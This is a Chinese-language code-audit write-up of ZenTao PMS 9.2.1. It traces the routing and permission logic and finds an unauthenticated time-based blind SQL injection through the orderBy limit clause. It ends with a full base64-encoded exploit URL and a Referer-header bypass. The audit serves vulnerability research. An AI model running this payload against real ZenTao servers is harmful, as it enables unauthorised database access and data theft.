0x00 前言
審計cms:禪道開源項目管理軟件
版本:9.2.1
工具:phpstorm+xdebug+seay
網站地址:http://localhost/CodeReview/ZenTaoPMS.9.2.1/www/
嚴重參考:
https://www.cnblogs.com/iamstudy/articles/chandao_pentest_1.html
https://www.anquanke.com/post/id/160473
0x01 路由
審計cms,首先要研究cms的路由,關注網站根目錄下的.htaccess文件。該文件出現:
<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule (.*)$ index.php/$1 [L] </IfModule>
所有url,除了文件或者目錄,都重寫到index.php下。既該cms的入口文件是index.php。
查看index.php文件。
加載框架類:
include '../framework/router.class.php'; include '../framework/control.class.php'; include '../framework/model.class.php'; include '../framework/helper.class.php';
實例化一個App:
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
加載常用模塊:
$common = $app->loadCommon();
解析請求、檢查權限、載入模塊:
$app->parseRequest(); $common->checkPriv(); $app->loadModule();
現在分析parseRequest()方法。parseRequest()方法位於\framework\base\router.class.php文件中(通過跟進router::createApp找到parseRequest函數)。內容如下:
public function parseRequest() { if(isGetUrl()) { if($this->config->requestType == 'PATH_INFO2') define('FIX_PATH_INFO2', true); $this->config->requestType = 'GET'; } if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2') { $this->parsePathInfo(); $this->setRouteByPathInfo(); } elseif($this->config->requestType == 'GET') { $this->parseGET(); $this->setRouteByGET(); } else { $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true); } }
isGetUrl會根據url判斷請求方法是否為get類型:
function isGetUrl() { $webRoot = getWebRoot(); if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}?") === 0) return true; if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php?") === 0) return true; if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php/?") === 0) return true; return false; }
接下來根據config->requestType的值,進入pathinfo分支或者get分支。
parseXXX()作用為解析出url和顯示類型(viewType:html)
setRouteByXXX()作用為根據解析出的url,解析並設置 ModuleName和MethodName與ControlName
(涉及相關的配置位於config\config.php和config\my.php下)
至此,路由前期工作完成。
現在分析checkPriv()方法。
checkPriv()方法位於\module\common\model.php文件中(通過跟進router::loadCommon()找到\module\common\model.php,再搜索找到)。內容如下:
public function checkPriv() { $module = $this->app->getModuleName(); $method = $this->app->getMethodName(); if(isset($this->app->user->modifyPassword) and $this->app->user->modifyPassword and ($module != 'my' or $method != 'changepassword')) die(js::locate(helper::createLink('my', 'changepassword'))); if($this->isOpenMethod($module, $method)) return true; if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth(); if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie(); if(isset($this->app->user)) { if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method); } else { $referer = helper::safe64Encode($this->app->getURI(true)); die(js::locate(helper::createLink('user', 'login', "referer=$referer"))); } }
獲得模塊名和方法名后:判斷是否需要改密碼;判斷是否使用開放方法;認證用戶,已登錄用戶則判斷用戶是否具有對應方法的訪問權限,否則跳轉到登陸頁面。
權限檢查完畢,就載入對應的模塊和方法,執行對應的應用邏輯。
0x02 挖掘sql注入漏洞
挖掘方式:
全項目搜索sql關鍵詞,判斷cms執行查詢的方式,查找直接使用變量進入語句的函數,查找函數使用的method,查找使用method的module,構建payload執行。
全文搜索:select.*from.*where.*
查看搜索結果ID 1:
判斷認為,禪道cms執行查詢語句是通過調用抽象方法的,並不會直接使用完整的語句。
現在查看對應的抽象方法,有沒有直接使用變量導致可能存在注入漏洞的代碼。
翻看/lib/api/base/dao/dao.class.php,可以確定對應的查詢抽象方法,都位於這個文件下的sql類。
現在看sql::orderBy()方法:
public function orderBy($order) { if($this->inCondition and !$this->conditionIsTrue) return $this; $order = str_replace(array('|', '', '_'), ' ', $order); /* Add "`" in order string. */ /* When order has limit string. */ $pos = stripos($order, 'limit'); $orders = $pos ? substr($order, 0, $pos) : $order; $limit = $pos ? substr($order, $pos) : ''; $orders = trim($orders); if(empty($orders)) return $this; if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders"); $orders = explode(',', $orders); foreach($orders as $i => $order) { $orderParse = explode(' ', trim($order)); foreach($orderParse as $key => $value) { $value = trim($value); if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue; $field = $value; /* such as t1.id field. */ if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field); if(strpos($field, '`') === false) $field = "`$field`"; $orderParse[$key] = isset($table) ? $table . '.' . $field : $field; unset($table); } $orders[$i] = join(' ', $orderParse); if(empty($orders[$i])) unset($orders[$i]); } $order = join(',', $orders) . ' ' . $limit; $this->sql .= ' ' . DAO::ORDERBY . " $order"; return $this; }
流程如下:
清理特殊字符:
定位limit:
分離limit與orderby部分:
整理orderby部分的格式:
正則匹配大致如下:
a desc
a.id desc
a desc,b desc
轉換orderby部分為數組:
對order數組中數據繼續轉換為數組:
處理orderby的字段,使得其符合如下模式:
a.id->a.`id`
對字段處理完成后,重新join為order數組的元素:
order數組繼續join為order字符串,並拼接limit部分:
最終拼接 “order by”:
發現,limit部分未做任何處理,就拼接到查詢語句中,則調用orderBy的地方可能存在sql注入。
全文搜索:orderBy\(\$
查看搜索結果ID 1,發現是getTrashes函數使用了orderBy:
可以看到,orderBy函數的參數為$orderBy,通過形參傳入,我們繼續搜索getTrashes函數,看下誰調用了它,且傳入的$orderBy是否我們可控。
全文搜索:getTrashes\(\$
查看搜索結果ID 1,發現是trash函數調用了getTrash
可以看到 ,getTrash的參數$type默認值為‘all’,也是通過形參傳入,我們繼續搜索trash函數。
全文搜索:trash\(\$
沒有結果。說明調用trash函數可能是通過【函數名復制給一個變量,然后直接調用該變量】的形式。
看來有難度。
我們重新回到全文搜索調用orderBy函數的階段,我們查看搜索結果ID 5:
printCaseBlock函數在assigntome和openedbyme分支都調用了orderBy,orderBy函數的參數為$this->params->orderBy
我們繼續查找,誰調用了printCaseBlock函數,還需要確定$this->params->orderBy是否我們可控。
全文搜索:printCaseBlock\(
只找到printCaseBlock函數定義。
所以printCaseBlock函數也應該是通過函數名作為變量的方式來調用的,而且這個變量也有可能是還會繼續組合的。
分別全文搜索:printCaseBlock .*?CaseBlock print.*?Block printCase.*?
可以看到,全文搜索 print.*?Block ,出來的搜索結果比較多。
查看搜索結果ID 14,block類的main函數在getblockdata分支下調用了print.*?Block函數:
看下這個$code從哪兒來,往上翻main的代碼:
$code來自於$get數組下的blockid字段
$get數組從哪里來的呢?main函數是類block的函數,類block繼承於類control:
control繼承於baseControl:
在baseControl類可以看到,$get是就是$_GET
繼續分析可以知道,baseControl類中的SetSuperVars設置了$get,來自於$this->app->get
這個app其實就是禪道cms入口文件中實例化的$app,它的類為router類,繼承於baseRouter類。baseRouter類中的setSuperVars函數實例化super類,將對象賦值給了$get:
super類,其實就是個抽象化的指針:
當禪道cms中需要使用超級變量時,比如使用$this->get->key的形式去拿數據,由於本身super對象並不會存儲get數組,它只是存儲了對應的變量標記scope:'get',
所以key字段的值並不存在於super對象中,則php在讀取類中的無法訪問的值時會自動調用類的__get魔術方法,而在super類中實現的__get方法中,會將變量標記'get'對應的全局變量$GET數組中的key字段返回:
至此,可以確定類block的main函數中涉及調用printCaseBlock的變量都是我們可控的。
現在我們來整理下,利用思路:
怎么進入block:main呢?:
baseRouter::setRouteByGET:
\config\config.php:
$_GET['m']=block
$_GET['f']=main
成功進入block::main后,如何進入到printCaseBlock呢?:
$_GET['mode']=getblockdata
$_GET['params']=base64編碼(json格式(xxx))
$_GET['blockid']=case
成功進入block::printCaseBlock,如何進入到baseDAO::orderBy,且不會執行出錯呢?:
xxx->type=openedbyme
xxx->orderby='order語句'
xxx->num='1'
xxx={"type":"openedbyme","orderby"="order語句","num"="1"}
成功進入baseDAO::orderBy,如何正確插入sql注入語句插入到order語句中?:
order語句=‘order limit sql注入語句’
(語句中的‘order’是表zt_case的字段,不可隨意使用任意字段,必須得是表zt_case或或者zt_testrun的字段才不會報錯,原因分析而:
sql語句order by 字段 必須得是查詢的表的字段
在printCaseBLoc函數中的openedbyme分支中,可以看到from(TABLE_CASE),這個TABLE_CASE就是查詢的表:
在config\config.php中定義了:
由此得:TABLE_CASE的值為zt_case)
sql注入語句=‘1;select (if(ord(mid((select user()),1,1))=1,1,sleep(2)))--’
至此,構造出payload為:
$_GET['m']=block
$_GET['f']=main
$_GET['mode']=getblockdata
$_GET['blockid']=case
$_GET['params']=base64編碼(json格式(xxx))
xxx={"orderBy":"order limit 1;select (if(ord(mid((select user()),1,1))=1,1,sleep(2)))-- ","num":"1,1","type":"openedbyme"}
http://localhost/CodeReview/ZenTaoPMS.9.2.1/www/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgIChpZihvcmQobWlkKChzZWxlY3QgdXNlcigpKSwxLDEpKT0xLDEsc2xlZXAoMikpKS0tICIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=
訪問,發現返回空白
重新檢測block:main,發現在block類的構造函數__contruct函數發現:
剛才的請求應該是進入到這個if分支中,執行了die('')。
如何繞過?:
只要$_SERVER['http_referer']與common:getSysURL()的值相等,則strpos返回0,則 || 連接的整個表達式的值為1,則$this->selfCall的值1
則!this->selfCall值為0,則不會進入if分支,不會執行 die('');
而common:getSysURL():
所以只需要在請求的header添加上:Referer:http://localhost 即可:
可以看到耗時2s多,我們傳入的sql注入語句被執行了。
ps:1
其實還有個問題,我們知道,有些api是不會直接暴露出來的,可能需要認證后才可以訪問,其中這個授權的工作是在什么地方做的呢?
我們跟蹤一下:
index.php:
這個$common來自何處?index.php:
我們看看這個loadCommon()做了啥,跟進$app:
進入\framework\base\router.class.php,可以看到是載入common模塊,返回commonModel類:
模塊都位於\moudle下,找到commom模塊的位置,進入\module\common\model.php,看下checkPriv()函數:
關鍵是isOpenMethod函數,跟進查看:
可以看到,我們這次審計出的block::main方法是公開的。
ps:url中的<>會被html實體編碼